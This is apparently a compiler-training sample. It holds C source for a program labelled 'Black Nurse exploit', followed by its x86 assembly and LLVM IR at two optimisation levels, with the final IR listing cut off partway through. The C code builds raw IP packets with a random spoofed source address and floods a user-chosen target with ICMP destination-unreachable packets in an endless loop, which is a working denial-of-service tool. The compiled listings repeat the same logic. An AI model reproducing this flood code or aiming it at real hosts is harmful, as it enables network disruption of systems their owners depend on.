#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_6__ TYPE_3__;
typedef struct TYPE_5__ TYPE_2__;
typedef struct TYPE_4__ TYPE_1__;

/* Type definitions */
struct TYPE_6__ {
  unsigned long s_addr;
};
struct sockaddr_in {
  char sin_zero;
  TYPE_3__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
struct iphdr {
  int version;
  int ihl;
  int id;
  int ttl;
  unsigned long saddr;
  unsigned long daddr;
  int /*<<< orphan*/ protocol;
  scalar_t__ frag_off;
  int /*<<< orphan*/ tot_len;
  scalar_t__ tos;
};
struct TYPE_4__ {
  int sequence;
  int id;
};
struct TYPE_5__ {
  TYPE_1__ echo;
};
struct icmphdr {
  int code;
  scalar_t__ checksum;
  TYPE_2__ un;
  int /*<<< orphan*/ type;
};
typedef int /*<<< orphan*/ sockAddress;
typedef int /*<<< orphan*/ option;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ ICMP_DEST_UNREACH;
int /*<<< orphan*/ IPPROTO_ICMP;
int /*<<< orphan*/ IPPROTO_IP;
int /*<<< orphan*/ IPPROTO_RAW;
int /*<<< orphan*/ IP_HDRINCL;
int /*<<< orphan*/ SOCK_RAW;
int /*<<< orphan*/ SOL_SOCKET;
int /*<<< orphan*/ SO_BROADCAST;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ fflush(int /*<<< orphan*/);
int /*<<< orphan*/ free(char *);
int /*<<< orphan*/ htons(int);
scalar_t__ icmpChecksum(unsigned short *, int);
unsigned long inet_addr(char *);
scalar_t__ malloc(int);
int /*<<< orphan*/ memset(char *, int, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ puts(char *);
int rand();
int sendto(int, char *, int, int /*<<< orphan*/, struct sockaddr *, int);
int setsockopt(int, int /*<<< orphan*/, int /*<<< orphan*/, char const *, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ stdout;
int main(int argc, char **argv) {
  printf("[+] Black Nurse exploit\n");
  if (argc < 1) {
    printf("[-] Missing argument, target");
    printf("    Usage: %s <target>\n", argv[0]);
    return -1;
  }
  int currentCode, sent, sentSize;
  int option = 1;
  unsigned long source = rand();
  unsigned long target = inet_addr(argv[1]);
  int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sockfd < 0) {
    perror("[-] Can't create socket, are you root ?");
    return -1;
  }
  if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char *)&option,
                 sizeof(option)) == -1) {
    perror("[-] Can't set socketopts IP_HDRINCL (to set custom options on IPV4 "
           "layer)");
    return -1;
  }
  if (setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, (const char *)&option,
                 sizeof(option)) == -1) {
    perror("[-] Can't set socketopts for broadcast");
    return -1;
  }
  int finalPacketSize = sizeof(struct iphdr) + sizeof(struct icmphdr) + 512;
  char *packet = (char *)malloc(finalPacketSize);
  if (!packet) {
    perror("[-] Cannot allocate memory, if you never got this error before, "
           "you are lucky !");
    close(sockfd);
    return -1;
  }
  memset(packet, 0, finalPacketSize);
  struct iphdr *ip = (struct iphdr *)packet;
  struct icmphdr *icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  ip->version = 4;
  ip->ihl = 5;
  ip->tos = 0;
  ip->tot_len = htons(finalPacketSize);
  ip->id = rand();
  ip->frag_off = 0;
  ip->ttl = 255;
  ip->protocol = IPPROTO_ICMP;
  ip->saddr = source;
  ip->daddr = target;
  icmp->type = ICMP_DEST_UNREACH;
  icmp->code = 0;
  icmp->un.echo.sequence = rand();
  icmp->un.echo.id = rand();
  icmp->checksum = 0;
  struct sockaddr_in sockAddress;
  sockAddress.sin_family = AF_INET;
  sockAddress.sin_addr.s_addr = target;
  memset(&sockAddress.sin_zero, 0, sizeof(sockAddress.sin_zero));
  puts("[+] Sending packets\n");
  while (1) {
    icmp->code = 3;
    memset(packet + sizeof(struct iphdr) + sizeof(struct icmphdr), rand() % 255,
           512);
    icmp->checksum = 0;
    icmp->checksum =
        icmpChecksum((unsigned short *)icmp, sizeof(struct icmphdr) + 512);
    if ((sentSize = sendto(sockfd, packet, finalPacketSize, 0,
                           (struct sockaddr *)&sockAddress,
                           sizeof(sockAddress))) < 1) {
      perror("[-] Packet send failed\n");
      free(packet);
      close(sockfd);
      return -1;
    }
    printf("[+] Already sent %d packets\r", ++sent);
    fflush(stdout);
  }
  free(packet);
  close(sockfd);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xdf3(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
cmpl   $0x1,-0x8(%rbp)
jge    124d <main+0x5d>
lea    0xdf4(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
lea    0xdfc(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    1570 <main+0x380>
movl   $0x1,-0x20(%rbp)
mov    $0x0,%al
call   1100 <rand@plt>
cltq
mov    %rax,-0x28(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   10c0 <inet_addr@plt>
mov    %rax,-0x30(%rbp)
mov    0x2d5f(%rip),%rax
mov    (%rax),%edi
mov    0x2d4e(%rip),%rax
mov    (%rax),%esi
mov    0x2d1d(%rip),%rax
mov    (%rax),%edx
call   1110 <socket@plt>
mov    %eax,-0x34(%rbp)
cmpl   $0x0,-0x34(%rbp)
jge    12b7 <main+0xc7>
lea    0xda8(%rip),%rdi
call   10f0 <perror@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    1570 <main+0x380>
mov    -0x34(%rbp),%edi
mov    0x2d07(%rip),%rax
mov    (%rax),%esi
mov    0x2d26(%rip),%rax
mov    (%rax),%edx
lea    -0x20(%rbp),%rcx
mov    $0x4,%r8d
call   1050 <setsockopt@plt>
cmp    $0xffffffff,%eax
jne    12fc <main+0x10c>
lea    0xd8b(%rip),%rdi
call   10f0 <perror@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    1570 <main+0x380>
mov    -0x34(%rbp),%edi
mov    0x2cda(%rip),%rax
mov    (%rax),%esi
mov    0x2cb1(%rip),%rax
mov    (%rax),%edx
lea    -0x20(%rbp),%rcx
mov    $0x4,%r8d
call   1050 <setsockopt@plt>
cmp    $0xffffffff,%eax
jne    1341 <main+0x151>
lea    0xd90(%rip),%rdi
call   10f0 <perror@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    1570 <main+0x380>
movl   $0x260,-0x38(%rbp)
mov    -0x38(%rbp),%edi
call   10d0 <malloc@plt>
mov    %rax,-0x40(%rbp)
cmpq   $0x0,-0x40(%rbp)
jne    137f <main+0x18f>
lea    0xd81(%rip),%rdi
call   10f0 <perror@plt>
mov    -0x34(%rbp),%edi
call   10b0 <close@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    1570 <main+0x380>
mov    -0x40(%rbp),%rdi
mov    -0x38(%rbp),%edx
xor    %esi,%esi
call   1090 <memset@plt>
mov    -0x40(%rbp),%rax
mov    %rax,-0x48(%rbp)
mov    -0x40(%rbp),%rax
add    $0x40,%rax
mov    %rax,-0x50(%rbp)
mov    -0x48(%rbp),%rax
movl   $0x4,(%rax)
mov    -0x48(%rbp),%rax
movl   $0x5,0x4(%rax)
mov    -0x48(%rbp),%rax
movq   $0x0,0x38(%rax)
mov    -0x38(%rbp),%edi
call   1060 <htons@plt>
mov    %eax,%ecx
mov    -0x48(%rbp),%rax
mov    %ecx,0x30(%rax)
mov    $0x0,%al
call   1100 <rand@plt>
mov    %eax,%ecx
mov    -0x48(%rbp),%rax
mov    %ecx,0x8(%rax)
mov    -0x48(%rbp),%rax
movq   $0x0,0x28(%rax)
mov    -0x48(%rbp),%rax
movl   $0xff,0xc(%rax)
mov    0x2bb7(%rip),%rax
mov    (%rax),%ecx
mov    -0x48(%rbp),%rax
mov    %ecx,0x20(%rax)
mov    -0x28(%rbp),%rcx
mov    -0x48(%rbp),%rax
mov    %rcx,0x10(%rax)
mov    -0x30(%rbp),%rcx
mov    -0x48(%rbp),%rax
mov    %rcx,0x18(%rax)
mov    0x2b67(%rip),%rax
mov    (%rax),%ecx
mov    -0x50(%rbp),%rax
mov    %ecx,0x18(%rax)
mov    -0x50(%rbp),%rax
movl   $0x0,(%rax)
mov    $0x0,%al
call   1100 <rand@plt>
mov    %eax,%ecx
mov    -0x50(%rbp),%rax
mov    %ecx,0x10(%rax)
mov    $0x0,%al
call   1100 <rand@plt>
mov    %eax,%ecx
mov    -0x50(%rbp),%rax
mov    %ecx,0x14(%rax)
mov    -0x50(%rbp),%rax
movq   $0x0,0x8(%rax)
mov    0x2b69(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x58(%rbp)
mov    -0x30(%rbp),%rax
mov    %rax,-0x60(%rbp)
lea    -0x68(%rbp),%rdi
xor    %esi,%esi
mov    $0x1,%edx
call   1090 <memset@plt>
lea    0xca4(%rip),%rdi
call   1040 <puts@plt>
mov    -0x50(%rbp),%rax
movl   $0x3,(%rax)
mov    -0x40(%rbp),%rax
add    $0x40,%rax
add    $0x20,%rax
mov    %rax,-0x70(%rbp)
mov    $0x0,%al
call   1100 <rand@plt>
mov    -0x70(%rbp),%rdi
mov    $0xff,%ecx
cltd
idiv   %ecx
mov    %edx,%esi
mov    $0x200,%edx
call   1090 <memset@plt>
mov    -0x50(%rbp),%rax
movq   $0x0,0x8(%rax)
mov    -0x50(%rbp),%rdi
mov    $0x220,%esi
call   1080 <icmpChecksum@plt>
mov    %rax,%rcx
mov    -0x50(%rbp),%rax
mov    %rcx,0x8(%rax)
mov    -0x34(%rbp),%edi
mov    -0x40(%rbp),%rsi
mov    -0x38(%rbp),%edx
lea    -0x68(%rbp),%r8
xor    %ecx,%ecx
mov    $0x18,%r9d
call   10a0 <sendto@plt>
mov    %eax,-0x1c(%rbp)
cmp    $0x1,%eax
jge    1546 <main+0x356>
lea    0xc28(%rip),%rdi
call   10f0 <perror@plt>
mov    -0x40(%rbp),%rdi
call   1030 <free@plt>
mov    -0x34(%rbp),%edi
call   10b0 <close@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    1570 <main+0x380>
mov    -0x18(%rbp),%esi
add    $0x1,%esi
mov    %esi,-0x18(%rbp)
lea    0xc0e(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    0x2a3c(%rip),%rax
mov    (%rax),%edi
call   10e0 <fflush@plt>
jmp    1498 <main+0x2a8>
mov    -0x4(%rbp),%eax
add    $0x70,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x28,%rsp
mov    %rsi,%rbx
mov    %edi,%ebp
lea    0xf5e(%rip),%rdi
call   1040 <puts@plt>
test   %ebp,%ebp
jg     1246 <main+0x56>
lea    0xde6(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
mov    (%rbx),%rsi
lea    0xdf2(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
mov    $0xffffffff,%eax
add    $0x28,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
movl   $0x1,0xc(%rsp)
xor    %eax,%eax
call   1100 <rand@plt>
mov    %eax,%ebp
mov    0x8(%rbx),%rdi
call   10c0 <inet_addr@plt>
mov    %rax,%r15
mov    0x2d6e(%rip),%r14
mov    (%r14),%edi
mov    0x2d5c(%rip),%rax
mov    (%rax),%esi
mov    0x2d2b(%rip),%rax
mov    (%rax),%edx
call   1110 <socket@plt>
test   %eax,%eax
jns    1296 <main+0xa6>
lea    0xda6(%rip),%rdi
call   10f0 <perror@plt>
jmp    1232 <main+0x42>
mov    %eax,%r13d
mov    0x2d28(%rip),%rax
mov    (%rax),%esi
mov    0x2d47(%rip),%rax
mov    (%rax),%edx
lea    0xc(%rsp),%rcx
mov    %r13d,%edi
mov    $0x4,%r8d
call   1050 <setsockopt@plt>
cmp    $0xffffffff,%eax
jne    12d4 <main+0xe4>
lea    0xd93(%rip),%rdi
call   10f0 <perror@plt>
jmp    1232 <main+0x42>
mov    0x2d05(%rip),%rax
mov    (%rax),%esi
mov    0x2cdc(%rip),%rax
mov    (%rax),%edx
lea    0xc(%rsp),%rcx
mov    %r13d,%edi
mov    $0x4,%r8d
call   1050 <setsockopt@plt>
cmp    $0xffffffff,%eax
jne    130f <main+0x11f>
lea    0xda2(%rip),%rdi
call   10f0 <perror@plt>
jmp    1232 <main+0x42>
mov    $0x260,%edi
call   10d0 <malloc@plt>
test   %rax,%rax
jne    132f <main+0x13f>
lea    0xda9(%rip),%rdi
call   10f0 <perror@plt>
jmp    14ad <main+0x2bd>
mov    %rax,%rbx
movslq %ebp,%rbp
mov    %rax,%rdi
xor    %esi,%esi
mov    $0x260,%edx
call   1090 <memset@plt>
lea    0x40(%rbx),%r12
movabs $0x500000004,%rax
mov    %rax,(%rbx)
movq   $0x0,0x38(%rbx)
mov    $0x260,%edi
call   1060 <htons@plt>
mov    %eax,0x30(%rbx)
xor    %eax,%eax
call   1100 <rand@plt>
mov    %eax,0x8(%rbx)
movq   $0x0,0x28(%rbx)
movl   $0xff,0xc(%rbx)
mov    0x2c2e(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x20(%rbx)
mov    %rbp,0x10(%rbx)
mov    %r15,0x18(%rbx)
mov    0x2bf2(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x58(%rbx)
movl   $0x0,0x40(%rbx)
xor    %eax,%eax
call   1100 <rand@plt>
mov    %eax,0x50(%rbx)
xor    %eax,%eax
call   1100 <rand@plt>
mov    %eax,0x54(%rbx)
movq   $0x0,0x48(%rbx)
mov    (%r14),%eax
mov    %eax,0x20(%rsp)
mov    %r15,0x18(%rsp)
lea    0x10(%rsp),%rdi
xor    %esi,%esi
mov    $0x1,%edx
call   1090 <memset@plt>
lea    0xd34(%rip),%rdi
call   1040 <puts@plt>
mov    %rbx,%rbp
add    $0x60,%rbp
mov    0x2ba3(%rip),%r14
nopl   (%rax)
movl   $0x3,0x40(%rbx)
xor    %eax,%eax
call   1100 <rand@plt>
cltq
imul   $0xffffffff80808081,%rax,%rsi
shr    $0x20,%rsi
add    %eax,%esi
mov    %esi,%ecx
shr    $0x1f,%ecx
sar    $0x7,%esi
add    %ecx,%esi
mov    %esi,%ecx
shl    $0x8,%ecx
sub    %ecx,%esi
add    %eax,%esi
mov    %rbp,%rdi
mov    $0x200,%edx
call   1090 <memset@plt>
movq   $0x0,0x48(%rbx)
mov    %r12,%rdi
mov    $0x220,%esi
call   1080 <icmpChecksum@plt>
mov    %rax,0x48(%rbx)
mov    %r13d,%edi
mov    %rbx,%rsi
mov    $0x260,%edx
xor    %ecx,%ecx
lea    0x10(%rsp),%r8
mov    $0x18,%r9d
call   10a0 <sendto@plt>
test   %eax,%eax
jle    1499 <main+0x2a9>
lea    0xccd(%rip),%rdi
mov    %r15d,%esi
xor    %eax,%eax
call   1070 <printf@plt>
mov    (%r14),%edi
call   10e0 <fflush@plt>
add    $0x1,%r15d
jmp    1400 <main+0x210>
lea    0xc93(%rip),%rdi
call   10f0 <perror@plt>
mov    %rbx,%rdi
call   1030 <free@plt>
mov    %r13d,%edi
call   10b0 <close@plt>
jmp    1232 <main+0x42>

LLVM IR (-O0):
%struct.iphdr = type { i32, i32, i32, i32, i64, i64, i32, i64, i32, i64 }
%struct.icmphdr = type { i32, i64, %struct.TYPE_5__, i32 }
%struct.TYPE_5__ = type { %struct.TYPE_4__ }
%struct.TYPE_4__ = type { i32, i32 }
%struct.sockaddr_in = type { i8, %struct.TYPE_6__, i32 }
%struct.TYPE_6__ = type { i64 }
%struct.sockaddr = type { i32 }
@.str = [25 x i8] c"[+] Black Nurse exploit\0A\00"
@.str.1 = [29 x i8] c"[-] Missing argument, target\00"
@.str.2 = [24 x i8] c" Usage: %s <target>\0A\00"
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@IPPROTO_RAW = global i32 0
@.str.3 = [40 x i8] c"[-] Can't create socket, are you root ?\00"
@IPPROTO_IP = global i32 0
@IP_HDRINCL = global i32 0
@.str.4 = [74 x i8] c"[-] Can't set socketopts IP_HDRINCL (to set custom options on IPV4 layer)\00"
@SOL_SOCKET = global i32 0
@SO_BROADCAST = global i32 0
@.str.5 = [39 x i8] c"[-] Can't set socketopts for broadcast\00"
@.str.6 = [80 x i8] c"[-] Cannot allocate memory, if you never got this error before, you are lucky !\00"
@IPPROTO_ICMP = global i32 0
@ICMP_DEST_UNREACH = global i32 0
@.str.7 = [21 x i8] c"[+] Sending packets\0A\00"
@.str.8 = [24 x i8] c"[-] Packet send failed\0A\00"
@.str.9 = [29 x i8] c"[+] Already sent %d packets\0D\00"
@stdout = global i32 0
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca i64
%11 = alloca i64
%12 = alloca i32
%13 = alloca i32
%14 = alloca i8*
%15 = alloca %struct.iphdr*
%16 = alloca %struct.icmphdr*
%17 = alloca %struct.sockaddr_in
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%18 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%19 = load i32, i32* %4
%20 = icmp slt i32 %19, 1
br i1 %20, label %21, label %27
21: ; preds = %2
%22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%23 = load i8**, i8*** %5
%24 = getelementptr inbounds i8*, i8** %23, i64 0
%25 = load i8*, i8** %24
%26 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i8* %25)
store i32 -1, i32* %3
br label %164
27: ; preds = %2
store i32 1, i32* %9
%28 = call i32 (...) @rand()
%29 = sext i32 %28 to i64
store i64 %29, i64* %10
%30 = load i8**, i8*** %5
%31 = getelementptr inbounds i8*, i8** %30, i64 1
%32 = load i8*, i8** %31
%33 = call i64 @inet_addr(i8* %32)
store i64 %33, i64* %11
%34 = load i32, i32* @AF_INET
%35 = load i32, i32* @SOCK_RAW
%36 = load i32, i32* @IPPROTO_RAW
%37 = call i32 @socket(i32 %34, i32 %35, i32 %36)
store i32 %37, i32* %12
%38 = load i32, i32* %12
%39 = icmp slt i32 %38, 0
br i1 %39, label %40, label %42
40: ; preds = %27
%41 = call i32 @perror(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.3, i64 0, i64 0))
store i32 -1, i32* %3
br label %164
42: ; preds = %27
%43 = load i32, i32* %12
%44 = load i32, i32* @IPPROTO_IP
%45 = load i32, i32* @IP_HDRINCL
%46 = bitcast i32* %9 to i8*
%47 = call i32 @setsockopt(i32 %43, i32 %44, i32 %45, i8* %46, i32 4)
%48 = icmp eq i32 %47, -1
br i1 %48, label %49, label %51
49: ; preds = %42
%50 = call i32 @perror(i8* getelementptr inbounds ([74 x i8], [74 x i8]* @.str.4, i64 0, i64 0))
store i32 -1, i32* %3
br label %164
51: ; preds = %42
%52 = load i32, i32* %12
%53 = load i32, i32* @SOL_SOCKET
%54 = load i32, i32* @SO_BROADCAST
%55 = bitcast i32* %9 to i8*
%56 = call i32 @setsockopt(i32 %52, i32 %53, i32 %54, i8* %55, i32 4)
%57 = icmp eq i32 %56, -1
br i1 %57, label %58, label %60
58: ; preds = %51
%59 = call i32 @perror(i8* getelementptr inbounds ([39 x i8], [39 x i8]* @.str.5, i64 0, i64 0))
store i32 -1, i32* %3
br label %164
60: ; preds = %51
store i32 608, i32* %13
%61 = load i32, i32* %13
%62 = call i64 @malloc(i32 %61)
%63 = inttoptr i64 %62 to i8*
store i8* %63, i8** %14
%64 = load i8*, i8** %14
%65 = icmp ne i8* %64, null
br i1 %65, label %70, label %66
66: ; preds = %60
%67 = call i32 @perror(i8* getelementptr inbounds ([80 x i8], [80 x i8]* @.str.6, i64 0, i64 0))
%68 = load i32, i32* %12
%69 = call i32 @close(i32 %68)
store i32 -1, i32* %3
br label %164
70: ; preds = %60
%71 = load i8*, i8** %14
%72 = load i32, i32* %13
%73 = call i32 @memset(i8* %71, i32 0, i32 %72)
%74 = load i8*, i8** %14
%75 = bitcast i8* %74 to %struct.iphdr*
store %struct.iphdr* %75, %struct.iphdr** %15
%76 = load i8*, i8** %14
%77 = getelementptr inbounds i8, i8* %76, i64 64
%78 = bitcast i8* %77 to %struct.icmphdr*
store %struct.icmphdr* %78, %struct.icmphdr** %16
%79 = load %struct.iphdr*, %struct.iphdr** %15
%80 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %79, i32 0, i32 0
store i32 4, i32* %80
%81 = load %struct.iphdr*, %struct.iphdr** %15
%82 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %81, i32 0, i32 1
store i32 5, i32* %82
%83 = load %struct.iphdr*, %struct.iphdr** %15
%84 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %83, i32 0, i32 9
store i64 0, i64* %84
%85 = load i32, i32* %13
%86 = call i32 @htons(i32 %85)
%87 = load %struct.iphdr*, %struct.iphdr** %15
%88 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %87, i32 0, i32 8
store i32 %86, i32* %88
%89 = call i32 (...) @rand()
%90 = load %struct.iphdr*, %struct.iphdr** %15
%91 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %90, i32 0, i32 2
store i32 %89, i32* %91
%92 = load %struct.iphdr*, %struct.iphdr** %15
%93 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %92, i32 0, i32 7
store i64 0, i64* %93
%94 = load %struct.iphdr*, %struct.iphdr** %15
%95 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %94, i32 0, i32 3
store i32 255, i32* %95
%96 = load i32, i32* @IPPROTO_ICMP
%97 = load %struct.iphdr*, %struct.iphdr** %15
%98 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %97, i32 0, i32 6
store i32 %96, i32* %98
%99 = load i64, i64* %10
%100 = load %struct.iphdr*, %struct.iphdr** %15
%101 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %100, i32 0, i32 4
store i64 %99, i64* %101
%102 = load i64, i64* %11
%103 = load %struct.iphdr*, %struct.iphdr** %15
%104 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %103, i32 0, i32 5
store i64 %102, i64* %104
%105 = load i32, i32* @ICMP_DEST_UNREACH
%106 = load %struct.icmphdr*, %struct.icmphdr** %16
%107 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %106, i32 0, i32 3
store i32 %105, i32* %107
%108 = load %struct.icmphdr*, %struct.icmphdr** %16
%109 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %108, i32 0, i32 0
store i32 0, i32* %109
%110 = call i32 (...) @rand()
%111 = load %struct.icmphdr*, %struct.icmphdr** %16
%112 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %111, i32 0, i32 2
%113 = getelementptr inbounds %struct.TYPE_5__, %struct.TYPE_5__* %112, i32 0, i32 0
%114 = getelementptr inbounds %struct.TYPE_4__, %struct.TYPE_4__* %113, i32 0, i32 0
store i32 %110, i32* %114
%115 = call i32 (...) @rand()
%116 = load %struct.icmphdr*, %struct.icmphdr** %16
%117 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %116, i32 0, i32 2
%118 = getelementptr inbounds %struct.TYPE_5__, %struct.TYPE_5__* %117, i32 0, i32 0
%119 = getelementptr inbounds %struct.TYPE_4__, %struct.TYPE_4__* %118, i32 0, i32 1
store i32 %115, i32* %119
%120 = load %struct.icmphdr*, %struct.icmphdr** %16
%121 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %120, i32 0, i32 1
store i64 0, i64* %121
%122 = load i32, i32* @AF_INET
%123 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %17, i32 0, i32 2
store i32 %122, i32* %123
%124 = load i64, i64* %11
%125 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %17, i32 0, i32 1
%126 = getelementptr inbounds %struct.TYPE_6__, %struct.TYPE_6__* %125, i32 0, i32 0
store i64 %124, i64* %126
%127 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %17, i32 0, i32 0
%128 = call i32 @memset(i8* %127, i32 0, i32 1)
%129 = call i32 @puts(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.7, i64 0, i64 0))
br label %130
130: ; preds = %70, %158
%131 = load %struct.icmphdr*, %struct.icmphdr** %16
%132 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %131, i32 0, i32 0
store i32 3, i32* %132
%133 = load i8*, i8** %14
%134 = getelementptr inbounds i8, i8* %133, i64 64
%135 = getelementptr inbounds i8, i8* %134, i64 32
%136 = call i32 (...) @rand()
%137 = srem i32 %136, 255
%138 = call i32 @memset(i8* %135, i32 %137, i32 512)
%139 = load %struct.icmphdr*, %struct.icmphdr** %16
%140 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %139, i32 0, i32 1
store i64 0, i64* %140
%141 = load %struct.icmphdr*, %struct.icmphdr** %16
%142 = bitcast %struct.icmphdr* %141 to i16*
%143 = call i64 @icmpChecksum(i16* %142, i32 544)
%144 = load %struct.icmphdr*, %struct.icmphdr** %16
%145 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %144, i32 0, i32 1
store i64 %143, i64* %145
%146 = load i32, i32* %12
%147 = load i8*, i8** %14
%148 = load i32, i32* %13
%149 = bitcast %struct.sockaddr_in* %17 to %struct.sockaddr*
%150 = call i32 @sendto(i32 %146, i8* %147, i32 %148, i32 0, %struct.sockaddr* %149, i32 24)
store i32 %150, i32* %8
%151 = icmp slt i32 %150, 1
br i1 %151, label %152, label %158
152: ; preds = %130
%153 = call i32 @perror(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.8, i64 0, i64 0))
%154 = load i8*, i8** %14
%155 = call i32 @free(i8* %154)
%156 = load i32, i32* %12
%157 = call i32 @close(i32 %156)
store i32 -1, i32* %3
br label %164
158: ; preds = %130
%159 = load i32, i32* %7
%160 = add nsw i32 %159, 1
store i32 %160, i32* %7
%161 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.9, i64 0, i64 0), i32 %160)
%162 = load i32, i32* @stdout
%163 = call i32 @fflush(i32 %162)
br label %130
164: ; preds = %152, %66, %58, %49, %40, %21
%165 = load i32, i32* %3
ret i32 %165
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i8, %struct.TYPE_6__, i32 }
%struct.TYPE_6__ = type { i64 }
%struct.iphdr = type { i32, i32, i32, i32, i64, i64, i32, i64, i32, i64 }
%struct.sockaddr = type { i32 }
@.str.1 = [29 x i8] c"[-] Missing argument, target\00"
@.str.2 = [24 x i8] c" Usage: %s <target>\0A\00"
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@IPPROTO_RAW = global i32 0
@.str.3 = [40 x i8] c"[-] Can't create socket, are you root ?\00"
@IPPROTO_IP = global i32 0
@IP_HDRINCL = global i32 0
@.str.4 = [74 x i8] c"[-] Can't set socketopts IP_HDRINCL (to set custom options on IPV4 layer)\00"
@SOL_SOCKET = global i32 0
@SO_BROADCAST = global i32 0
@.str.5 = [39 x i8] c"[-] Can't set socketopts for broadcast\00"
@.str.6 = [80 x i8] c"[-] Cannot allocate memory, if you never got this error before, you are lucky !\00"
@IPPROTO_ICMP = global i32 0
@ICMP_DEST_UNREACH = global i32 0
@.str.7 = [21 x i8] c"[+] Sending packets\0A\00"
@.str.8 = [24 x i8] c"[-] Packet send failed\0A\00"
@.str.9 = [29 x i8] c"[+] Already sent %d packets\0D\00"
@stdout = global i32 0
@str = [24 x i8] c"[+] Black Nurse exploit\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca i32
%4 = alloca %struct.sockaddr_in
%5 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str, i64 0, i64 0))
%6 = icmp slt i32 %0, 1
br i1 %6, label %7, label %11
7: ; preds = %2
%8 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%9 = load i8*, i8** %1
%10 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i8* %9)
br label %102
11: ; preds = %2
%12 = bitcast i32* %3 to i8*
store i32 1, i32* %3
%13 = tail call i32 (...) @rand()
%14 = sext i32 %13 to i64
%15 = getelementptr inbounds i8*, i8** %1, i64 1
%16 = load i8*, i8** %15
%17 = tail call i64 @inet_addr(i8* %16)
%18 = load i32, i32* @AF_INET
%19 = load i32, i32* @SOCK_RAW
%20 = load i32, i32* @IPPROTO_RAW
%21 = tail call i32 @socket(i32 %18, i32 %19, i32 %20)
%22 = icmp slt i32 %21, 0
br i1 %22, label %23, label %25
